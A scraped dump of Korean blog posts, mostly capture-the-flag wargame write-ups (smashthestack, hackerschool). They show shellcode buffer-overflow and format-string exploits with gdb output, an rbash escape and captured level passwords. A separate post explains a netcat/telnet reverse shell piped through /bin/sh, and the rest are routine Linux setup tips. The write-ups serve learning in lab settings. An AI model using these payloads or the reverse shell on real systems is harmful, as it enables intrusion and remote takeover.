BOF(Buffer OverFlow)가 발생함을 알 수 있다. Buffer 공간이 충분하므로 여기에 쉘코드를 넣어서 공격을 시도하여 보자.\n그전에 buffer의 주소를 확인하여 보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 level4@blowfish:/levels$ gdb -q level4 Using host libthread_db library /lib/tls/libthread_db.so.1. (gdb) b main Breakpoint 1 at 0x80483fd (gdb) r `python -c print \u0026#39;A\u0026#39;*300` Starting program: /levels/level4 `python -c print \u0026#39;A\u0026#39;*300` Breakpoint 1, 0x080483fd in main () (gdb) x/32wx $esp 0xbfffd810: 0x00274945 0x00122aab 0x0804825e 0x74733832 0xbfffd820: 0x35306261 0x0804818c 0x0177ff8e 0x0804824c 0xbfffd830: 0x0d696910 0x00000005 0x009cead0 0x0011534c 0xbfffd840: 0x0011da1c 0x00122b6e 0x00000000 0x00000000 0xbfffd850: 0x00697246 0x005bf078 0x00000002 0x00282ff4 0xbfffd860: 0x002836a4 0xbfffd910 0xbfffd924 0x00274b07 0xbfffd870: 0xbfffd910 0x00283650 0x00000002 0x005bf0a8 0xbfffd880: 0x00000001 0x00000000 0x00000001 0x00003638 (gdb) . . . (gdb) 0xbfffda90: 0x00000000 0x00000000 0x00000000 0x2f000000 0xbfffdaa0: 0x6576656c 0x6c2f736c 0x6c657665 0x41410034 0xbfffdab0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdac0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdad0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdae0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdaf0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdb00: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) ``` 문자 \u0026#39;A\u0026#39; (41)의 위치를 확인하였으니 해당 위치로 RET를 지정해주고 공격을 해보자! ```python #!/usr/bin/python import os shellcode = \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39; # len = 30 nop = \u0026#39;\\x90\u0026#39; ret = \u0026#39;\\xc0\\xda\\xff\\xbf\u0026#39; payload = nop*238 + shellcode + ret os.execl(\u0026#39;/levels/level4\u0026#39;, \u0026#39;level4\u0026#39;, payload) 1 2 3 4 5 level4@blowfish:/levels/tmp/byjjoon$ ./level4.py sh-3.1$ id uid=1006(level4) gid=1006(level4) euid=1007(level5) groups=1006(level4) sh-3.1$ cat /pass/level5 yummy_bluntz ","date":"2009-03-16T14:05:55Z","permalink":"/2009/03/16/blowfishsmashthestackorg-level4-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level4 풀이"},{"content":"Level2에 접속하여 README 파일을 읽어보면 다음과 같다.\nThere is a backdoor to the next level hidden somewhere on this system, find it, and get the pass for level3 from /pass/level3\n풀이를 하면 다음과 같다.\n1 2 3 4 5 6 level2@blowfish:~$ find / -user level3 -perm +4000 2\u0026gt;/dev/null /usr/bin/false level2@blowfish:~$ /usr/bin/false Stand-alone shell (version 3.7) \u0026gt; cat /pass/level3 l3thal_Rul3Z! -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nLevel3에 접속하여 README 파일을 읽어보면 다음과 같다.\nYou are in a restricted shell. If you can break out of it, you need to find the backdoor hidden somewhere in the system. find it and cat /pass/level4\n우선 접속을 해보면 모든 명령어가 막혀 있으며 쉘이 rbash 로 등록되어 있음을 알 수 있다. 따라서 사용 가능한 명령어를 확인해 보다가 perl 명령어가 사용가능한 것을 확인한 후 sh 쉘을 실행하여 find 명령어를 통해 다음 레벨로 넘어갈 수 있는 파일을 찾을 수 있었다.\n1 2 3 4 5 6 7 8 9 level3@blowfish:~$ perl -e \u0026#39;print A\\n\u0026#39; A level3@blowfish:~$ perl -e \u0026#39;system /bin/sh\u0026#39; sh-3.2$ /usr/bin/find / -user level4 -perm +4000 2\u0026gt;/dev/null /home/level3/.. /cat_lvl4 sh-3.2$ /home/level3/.. /cat_lvl4 n3xt_l3v3l! sh-3.2$ ","date":"2009-03-16T13:56:39Z","permalink":"/2009/03/16/blowfishsmashthestackorg-level23-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level2,3 풀이"},{"content":"Level1 문제는 다음과 같다.\nTelnet to blowfish.smashthestack.org port 6666 to recieve an encrypted passwd. Decrypt it and log in to level2. ;)\n접속을 하니 다음과 같이 암호화 된 문자열이 출력되었다.\n해당 암호는 시저암호로 암호화 되어 있다. (Caesar cipher : http://en.wikipedia.org/wiki/Caesar_cipher) 해독하는 코드를 python으로 작성하여 보면 다음과 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/usr/bin/python s = \u0026#39;GungJnfRnfl\u0026#39; ret = \u0026#39;\u0026#39; for x in range(26): for y in range(len(s)): if s[y] == \u0026#39; \u0026#39;: ret += \u0026#39; \u0026#39; continue tmp = ord(s[y]) + x if( ord(s[y]) \u0026lt;= ord(\u0026#39;Z\u0026#39;) and tmp \u0026gt; ord(\u0026#39;Z\u0026#39;) ): tmp -= 26 elif( ord(s[y]) \u0026lt;= ord(\u0026#39;z\u0026#39;) and tmp \u0026gt; ord(\u0026#39;z\u0026#39;) ): tmp -= 26 ret += chr(tmp) print ret ret = \u0026#39;\u0026#39; \u0026lt;실행결과\u0026gt;\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 C:\\Users\\ByJJoon\\Desktop\u0026gt;level1.py GungJnfRnfl HvohKogSogm IwpiLphTphn JxqjMqiUqio KyrkNrjVrjp LzslOskWskq MatmPtlXtlr NbunQumYums OcvoRvnZvnt PdwpSwoAwou QexqTxpBxpv RfyrUyqCyqw SgzsVzrDzrx ThatWasEasy UibuXbtFbtz VjcvYcuacua WkdwZdvbdvb XlexAewcewc YmfyBfxdfxd ZngzCgyegye AohaDhzfhzf BpibEiagiag CqjcFjbhjbh Drkdakcikci Eslebldjldj Ftmfcmekmek ","date":"2009-03-16T13:33:50Z","permalink":"/2009/03/16/blowfishsmashthestackorg-%ED%92%80%EC%9D%B4-level1/","title":"blowfish.smashthestack.org - Level1 풀이"},{"content":"/ 해당 문서는 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. /\n해커스쿨 level20 문제를 풀어보면서 FSB (Format String Bug)에 대해 알아보자.\n1 2 3 4 5 6 7 8 #include \u0026lt;stdio.h\u0026gt; main(int argc,char **argv) { char bleh[80]; setreuid(3101,3101); fgets(bleh,79,stdin); printf(bleh); } 문제 소스는 다음과 같다. FSB는 printf(bleh) 와 같이 프로그래머의 귀차니즘(?)으로 인해 발생한다. 풀이과정은 다음과 같다.\n[level20@ftz level20]$ (python -c \u0026quot;print 'AAAA' + '%x'*4\u0026quot;;cat) | ./attackme AAAA4f401524604009850041414141\n[level20@ftz level20]$ objdump -s -j .dtors attackme\nattackme: file format elf32-i386\nContents of section .dtors: 8049594 ffffffff 00000000 ........\noffset : 3 * 8 = 24 .dtors : 0x08049594 Cleanup : 0x08049598 EGG : 0xbffffa30\nfa30 = 64048 64048 - 24 - 16 = 64008 1bfff - fa30 = 50639\nAAAA\\x98\\x95\\x04\\x08BBBB\\x9A\\x95\\x04\\x08%8x%8x%8x%64008c%x%50639c%x\n(python -c \u0026quot;print 'AAAA\\x98\\x95\\x04\\x08BBBB\\x9A\\x95\\x04\\x08%8x%8x%8x%64008c%x%50639c%x'\u0026quot;;cat) | ./attackme\n실행하여 804959a 주소가 나오나 확인! 나온다면 %x -\u0026gt; %n 으로 바꾸어 공격!\n(python -c \u0026quot;print 'AAAA\\x98\\x95\\x04\\x08BBBB\\x9A\\x95\\x04\\x08%8x%8x%8x%64008c%n%50639c%n'\u0026quot;;cat) | ./attackme\nuid=3101(clear) gid=3100(level20) groups=3100(level20)\n","date":"2009-03-13T18:17:47Z","permalink":"/2009/03/13/fsb-format-string-bug-%EC%A0%95%EB%A6%AC/","title":"FSB (Format String Bug) 정리"},{"content":"Fedora 9에서 SSH 접속 Port 변경 시 데몬이 제대로 안뜨는 경우가 있다. selinux 때문인데 다음과 같이 수정하도록 한다.\nsemange port -t ssh_port_t -p tcp 1234\n만약 semange 명령어가 없다면 아래와 같이 찾아보면 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [root@localhost byjjoon]# yum whatprovides /usr/sbin/semanage Loaded plugins: fastestmirror Determining fastest mirrors * base: mirror.khlug.org * extras: mirror.khlug.org * updates: mirror.khlug.org base | 3.7 kB 00:00 base/primary_db | 3.4 MB 00:02 extras | 2.6 kB 00:00 extras/primary_db | 5.4 kB 00:00 updates | 3.5 kB 00:00 updates/primary_db | 3.4 MB 00:03 policycoreutils-python-2.0.83-19.8.el6_0.i686 : SELinux policy core python utilities Repo : base Matched from: Filename : /usr/sbin/semanage [root@localhost byjjoon]# 혹은 echo 0 \u0026gt; /selinux/enforce 한 후에 데몬을 재시작 하면 제대로 데몬이 작동하는걸 볼 수 있다. 아래와 같이 bash 스크립트로 작성하여 /etc/rc3.d에 넣어놓고 써도 될듯 하다.\n1 2 3 4 #!/bin/bash /bin/echo 0 \u0026gt; /selinux/enforce /etc/init.d/sshd start /bin/echo 1 \u0026gt; /selinux/enforce ","date":"2009-03-11T09:16:09Z","permalink":"/2009/03/11/fedora-9-%EC%97%90%EC%84%9C-ssh-%EC%A0%91%EC%86%8D-port-%EB%B3%80%EA%B2%BD/","title":"SSH 접속 Port 변경 (SELinux 설정 방법)"},{"content":" http://www.nomachine.com/ 에서 다운로드 받는다.\nClient, Node, Server 순으로 설치를 한다.\n설치 후 /usr/NX/scripts/setup/nxserver --install 실행\n키 생성을 위해 /usr/NX/bin/nxserver --keygen 실행\n/usr/NX/share/keys/default.id_dsa.key 내용을 클라이언트 프로그램 설정 부분에 키 항목에 추가.\n/usr/NX/etc/server.cfg 파일을 수정\n1 2 3 EnableUserDB = \u0026#34;1\u0026#34; EnablePasswordDB = \u0026#34;1\u0026#34; EnableClipboard = \u0026#34;both\u0026#34; 계정 추가 및 암호설정을 위해 nxserver --useradd username 실행\n데몬 재시작. /etc/init.d/nxserver restart\n접속 후 한글이 안되는 경우가 있다. 이런 경우 다음과 같이 하면 된다. 사용자 홈 디렉토리에 .bash_history 파일에 다음 내용을 추가 한다.\n1 2 3 4 export LC_CTYPE=\u0026#34;ko_KR.UTF-8\u0026#34; export XMODIFIERS=@im=SCIM export GTK_IM_MODULE=scim export QT_IM_MODULE=scim ","date":"2009-03-11T09:13:30Z","permalink":"/2009/03/11/freenx-%EC%84%A4%EC%B9%98-%EB%B0%A9%EB%B2%95/","title":"FreeNX 설치 방법"},{"content":"Codec 설치 http://www.mplayerhq.hu 다음 사이트에서 코덱을 다운로드.\n1 2 3 4 5 tar xvjpf essential-20071007.tar.bz2 cd essential-20071007.tar.bz2 mkdir /usr/local/lib/codecs mv * /usr/local/lib/codecs/ chmod -R 755 /usr/local/lib/codecs/ Lame MP3 encoder 설치 http://lame.sourceforge.net/index.php 에서 다운로드.\n1 2 3 4 5 tar xvfz lame-398-2.tar.gz cd lame-398-2 ./configure make make install libogg, libvorbis 설치 하지만 CentOS 5.2에는 기본으로 깔려 있었다. 깔려 있는지 확인 하려면 아래와 같이 하면 된다.\n1 2 rpm -qa | grep libogg rpm -qa | grep libvorbis FLVTool2 설치 http://rubyforge.org/projects/flvtool2/ 에서 다운로드\n1 2 3 4 5 tar xvfz flvtool2-1.0.6.tgz cd flvtool2-1.0.6 ruby setup.rb config ruby setup.rb setup ruby setup.rb install Mplayer 설치 1 2 3 4 5 6 yum install subversion svn co svn://svn.mplayerhq.hu/mplayer/trunk mplayer cd mplayer ./configure make make install FFMPEG 설치 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 svn co svn://svn.mplayerhq.hu/ffmpeg/trunk ffmpeg cd ffmpeg ./configure --enable-libmp3lame --enable-libvorbis --enable-shared --disable-mmx make make install ln -s /usr/local/lib/libavcodec.so.52 /usr/lib/libavcodec.so.52 ln -s /usr/local/lib/libavutil.so.49 /usr/lib/libavutil.so.49 ln -s /usr/local/lib/libmp3lame.so.0 /usr/lib/libmp3lame.so.0 ln -s /usr/local/lib/libavformat.so.52 /usr/lib/libavformat.so.52 mkdir /usr/local/include/ffmpeg cp ./libavcodec/*.h /usr/local/include/ffmpeg cp ./libavdevice/*.h /usr/local/include/ffmpeg cp ./libavformat/*.h /usr/local/include/ffmpeg cp ./libavutil/*.h /usr/local/include/ffmpeg /etc/ld.so.conf 파일에 아래 두 줄 추가\n1 2 /usr/lib /usr/local/lib 추가 후 /sbin/ldconfig 실행.\nOpenCV 설치 http://sourceforge.net/projects/opencvlibrary 에서 다운로드\n1 2 3 4 5 tar xvfz opencv-1.1pre1.tar cd opencv-1.1.0 ./configure --without-ffmpeg make make install ","date":"2009-03-11T09:06:43Z","permalink":"/2009/03/11/ffmpeg-opencv-%EC%84%A4%EC%B9%98%EB%B0%A9%EB%B2%95/","title":"FFMPEG \u0026 OpenCV 설치방법"},{"content":" 1 2 3 Linux : ~/.vmware/config Windows XP : Documents and Settings\\All Users\\Application Data\\VMware\\VMware Workstation\\config.ini Windows Vista : ProgramData\\VMware\\VMware Workstation\\config.ini 경로에 아래 내용 추가.\n1 mks.noBeep = \u0026#34;TRUE\u0026#34; ","date":"2009-03-11T08:49:02Z","permalink":"/2009/03/11/vmware-%EB%B6%80%ED%8C%85-%EC%8B%9C-beep%EC%9D%8C-%EC%A0%9C%EA%B1%B0-%EB%B0%A9%EB%B2%95/","title":"VMware 부팅 시 Beep음 제거 방법"},{"content":"cp 명령어 시 저런 에러가 나온다면 cp 대신 rsync 명령어로 대체하여 사용한다.\n1 rsync -aPv SOURCEDIR TARGETDIR 그 외 방법으로는 find와 xargs 명령어를 조합하여 사용하여 해결한다.\n1 find DIR -name \u0026#39;FILENAME\u0026#39; | xargs -i{} cp {} TARGETDIR ","date":"2009-03-11T08:47:56Z","permalink":"/2009/03/11/argument-list-too-long-%EC%97%90%EB%9F%AC-%EB%9C%B0-%EA%B2%BD%EC%9A%B0/","title":"Argument list too long 에러 뜰 경우"},{"content":"창원대학교 홈페이지를 예로 들어 설명 하겠습니다. 창원대 홈페이지의 IP 주소는 203.246.1.5 입니다. 이것을 Sngle decimal IP 로 변환 해보겠습니다.\n. 단위로 끊어서 16진수로 변환하고 16진수로 변환한것이 한자리수 일때는 앞에 0을 붙입니다.\n203 = CB 246 = F6 1 = 01 5 = 05\n이것을 붙여서 쓰고 다시 10진수로 변환하면\nCBF60105 = 3421896965\n이렇게 변환이 됩니다. 그럼 변환한 주소를 한번 써볼까요?\nhttp://3421896965\n","date":"2009-03-11T07:26:06Z","permalink":"/2009/03/11/dotted-decimal-ip-%EC%99%80-sngle-decimal-ip-%EC%9D%98-%EB%B3%80%ED%99%98/","title":"Dotted decimal IP 와 Sngle decimal IP 의 변환"},{"content":"리버스 텔넷은 뜻 그대로 서버에서 본인의 컴퓨터로 텔넷으로 접속하게 하는 기술 입니다.\n일반 적으로는 본인의 컴퓨터가 클라이언트가 되고, 접속하고자 하는 상대방의 컴퓨터가 서버가 되지만 리버스 텔넷은 이것이 반대가 된 주객이 전도된 상황을 의미 합니다.\n이는 Netcat을 이용하여 할 수 있습니다. 윈도우 상이라면 자신의 컴퓨터에 2개의 콘솔창을 띄웁니다.\nnc -l -p 1024 nc -l -p 2048\n위 명령어를 각각의 콘솔창에 띄우고 본인의 아이피가 192.168.0.1 이라고 가정 하면 상대 컴퓨터에 telnet 192.168.0.1 1024 | /bin/sh | telnet 192.168.0.1 2048 라고 입력 하면 됩니다.\n파이프 라인 기법을 이용한 방법 인데 상대 컴퓨터는 본인 컴퓨터의 1024 포트로 접속해서 명령을 기다 립니다. 이때 nc -l -p 1024 를 띄운 콘솔에서 명령을 내리면 됩니다.\n그 명령은 상대 컴퓨터의 /bin/sh에서 실행 되고 그 실행 결과는 다시 2048 포트를 통해 전송 되게 됩니다. 즉, nc -l -p 2048 을 띄운 콘솔에서 결과를 확인 할 수 있는 것입니다.\n","date":"2009-03-11T07:22:10Z","permalink":"/2009/03/11/%EB%A6%AC%EB%B2%84%EC%8A%A4-%ED%85%94%EB%84%B7/","title":"리버스 텔넷"},{"content":"오늘 Vmware에서 레드헷 9를 깔아서 좀 써보려 했으나 네트워크가 안되었다. 부팅중 메세지에 eth0부분이 케이블 연결이 안되었다는 메세지만 나올뿐이였다.\n해결법.\n/etc/sysconfig/network-scripts/ifcfg-eth0 부분을 열어서 아래 라인 추가.\n1 2 3 check_link_down() { return 1; } 해결이 되었다.\n","date":"2009-03-11T07:16:45Z","permalink":"/2009/03/11/vmware%EC%97%90%EC%84%9C-%EB%A0%88%EB%93%9C%ED%97%B79-%EC%84%A4%EC%B9%98-%EC%8B%9C-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC%EA%B0%80-%EC%95%88%EB%90%98%EB%8A%94-%ED%98%84%EC%83%81/","title":"VMware에서 레드헷9 설치 시 네트워크가 안되는 현상"},{"content":"/ 해당 내용은 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. /\n해커스쿨(ftz.hackerschool.org:23) 워게임 Level 15번을 풀면서 정리한 내용입니다. 먼저 hint 파일을 보겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 #include \u0026lt;stdio.h\u0026gt; main() { int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system(\u0026#34;/bin/sh\u0026#34;); } } 소스를 보면 crap, check, buf순으로 선언이 되었음을 알수 있습니다. 스택이니 buf의 주소가 스택의 가장 윗부분일 것입니다. 해당 문제의 포인트는 버퍼에 0xdeadbeef를 넣고 check 주소를 buf의 주소로 바꾸는 것입니다.\n우리가 알아야 할 것 - buf의 주소 그럼 gdb를 통해 알아보겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 (gdb) disassemble main Dump of assembler code for function main: 0x08048490 \u0026lt;main+0\u0026gt;: push %ebp 0x08048491 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x08048493 \u0026lt;main+3\u0026gt;: sub $0x38,%esp 0x08048496 \u0026lt;main+6\u0026gt;: sub $0x4,%esp 0x08048499 \u0026lt;main+9\u0026gt;: pushl 0x8049664 0x0804849f \u0026lt;main+15\u0026gt;: push $0x2d 0x080484a1 \u0026lt;main+17\u0026gt;: lea 0xffffffc8(%ebp),%eax 0x080484a4 \u0026lt;main+20\u0026gt;: push %eax 0x080484a5 \u0026lt;main+21\u0026gt;: call 0x8048360 \u0026lt;fgets\u0026gt; 0x080484aa \u0026lt;main+26\u0026gt;: add $0x10,%esp 0x080484ad \u0026lt;main+29\u0026gt;: mov 0xfffffff0(%ebp),%eax 0x080484b0 \u0026lt;main+32\u0026gt;: cmpl $0xdeadbeef,(%eax) 0x080484b6 \u0026lt;main+38\u0026gt;: jne 0x80484dd \u0026lt;main+77\u0026gt; 0x080484b8 \u0026lt;main+40\u0026gt;: sub $0x8,%esp 0x080484bb \u0026lt;main+43\u0026gt;: push $0xc18 0x080484c0 \u0026lt;main+48\u0026gt;: push $0xc18 0x080484c5 \u0026lt;main+53\u0026gt;: call 0x8048380 \u0026lt;setreuid\u0026gt; 0x080484ca \u0026lt;main+58\u0026gt;: add $0x10,%esp 0x080484cd \u0026lt;main+61\u0026gt;: sub $0xc,%esp 0x080484d0 \u0026lt;main+64\u0026gt;: push $0x8048548 0x080484d5 \u0026lt;main+69\u0026gt;: call 0x8048340 \u0026lt;system\u0026gt; 0x080484da \u0026lt;main+74\u0026gt;: add $0x10,%esp 0x080484dd \u0026lt;main+77\u0026gt;: leave 0x080484de \u0026lt;main+78\u0026gt;: ret 0x080484df \u0026lt;main+79\u0026gt;: nop End of assembler dump. (gdb) main+6 위치에서 스택 공간이 할당되므로 해당 위치에 break point를 걸고 그때의 register 주소값을 보면 스택의 시작위치를 알 수 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [level15@ftz level15]$ gdb -q attackme (gdb) b *main+6 Breakpoint 1 at 0x8048496 (gdb) r Starting program: /home/level15/attackme Breakpoint 1, 0x08048496 in main () (gdb) info registers eax 0x1 1 ecx 0x40151a0c 1075124748 edx 0x8049560 134518112 ebx 0x401541c0 1075134912 esp 0xbffffb00 0xbffffb00 ebp 0xbffffb38 0xbffffb38 esi 0x40015360 1073828704 edi 0xbffffb84 -1073742972 eip 0x8048496 0x8048496 eflags 0x286 646 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) 0xbffffb00가 스택의 시작 위치 입니다. 그럼 공격을 해보도록 하죠.\n1 2 3 [level15@ftz level15]$ (python -c \u0026#34;print \u0026#39;\\xef\\xbe\\xad\\xde\u0026#39; + \u0026#39;A\u0026#39;*36 + \u0026#39;\\x00\\xfb\\xff\\xbf\u0026#39;\u0026#34;;cat) | ./attackme id uid=3096(level16) gid=3095(level15) groups=3095(level15) 공격이 성공되었습니다. 실제 이러한 주소는 dumpcode로 메모리를 dump하여 확인하여 보는데 더 정확합니다. ohara님의 dumpcode.h를 아래에 첨부 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void printchar(unsigned char c) { if(isprint(c)) printf(\u0026#34;%c\u0026#34;,c); else printf(\u0026#34;.\u0026#34;); } void dumpcode(unsigned char *buff, int len) { int i; for(i=0;i\u0026lt;len;i++) { if(i%16==0) printf(\u0026#34;0x%08x \u0026#34;,\u0026amp;buff[i]); printf(\u0026#34;%02x \u0026#34;,buff[i]); if(i%16-15==0) { int j; printf(\u0026#34; \u0026#34;); for(j=i-15;j\u0026lt;=i;j++) printchar(buff[j]); printf(\u0026#34;\\n\u0026#34;); } } if(i%16!=0) { int j; int spaces=(len-i+16-i%16)*3+2; for(j=0;j\u0026lt;spaces;j++) printf(\u0026#34; \u0026#34;); for(j=i-i%16;j\u0026lt;len;j++) printchar(buff[j]); } printf(\u0026#34;\\n\u0026#34;); } ","date":"2009-03-10T16:31:22Z","permalink":"/2009/03/10/%EC%8A%A4%ED%83%9D-%EA%B5%AC%EC%A1%B0-%ED%99%95%EC%9D%B8/","title":"스택 구조 확인."}]